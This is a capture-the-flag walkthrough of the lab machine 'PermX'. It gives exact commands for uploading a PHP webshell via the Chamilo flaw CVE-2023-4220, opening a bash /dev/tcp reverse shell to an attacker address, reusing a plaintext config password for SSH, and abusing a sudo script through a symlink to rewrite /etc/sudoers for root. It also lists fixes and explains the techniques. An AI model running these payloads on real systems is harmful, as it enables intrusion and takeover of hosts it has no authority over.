PermX
Summary
I scanned the target, discovered an Apache web server hosting a Chamilo learning-management system on a virtual host, and exploited an unauthenticated arbitrary file-upload vulnerability (CVE-2023-4220) to install a PHP webshell and achieve remote code execution as the web server user. The Chamilo database configuration file stored a plaintext password that the OS account 'mtz' had reused for SSH login, granting an interactive shell.
Once logged in as mtz, a sudo rule permitted running a custom access-control script (/opt/acl.sh) as root on any caller-supplied file path; by replacing the target file with a symbolic link to /etc/sudoers, I tricked the script into granting mtz write access to the real sudoers file, into which a passwordless-sudo rule was appended — giving me a root shell and full control of the system.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 $TARGETecho "$TARGET permx.htb lms.permx.htb" | sudo tee -a /etc/hostscurl -si http://lms.permx.htb/ | head -30Exact commands 2
printf '<?php system($_GET["c"]); ?>' > /tmp/rce.phpcurl -s --resolve lms.permx.htb:80:$TARGET -F 'bigUploadFile=@/tmp/rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'FixPatch Chamilo to eliminate the unauthenticated file-upload endpoint (CVE-2023-4220)Critical
Exact commands 3
nc -lvnp 4444curl -s --resolve lms.permx.htb:80:$TARGET 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?c=id'curl -s --resolve lms.permx.htb:80:$TARGET --get --data-urlencode "c=bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'Exact commands 2
grep -i 'password' /var/www/chamilo/app/config/configuration.phpgrep -vE '(nologin|false)' /etc/passwdFixEliminate plaintext credentials in configuration files and prohibit OS password reuseHigh
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no mtz@$TARGETcat /home/mtz/user.txtExact commands 3
sudo -lrm -f /home/mtz/sudoers && ln -s /etc/sudoers /home/mtz/sudoerssudo /opt/acl.sh mtz rw /home/mtz/sudoersFixRemove or harden the sudo rule for /opt/acl.sh to prevent symlink-based privilege escalationCritical
Exact commands 3
printf 'mtz ALL=(ALL) NOPASSWD: ALL\n' >> /home/mtz/sudoerssudo /bin/bashcat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.52 |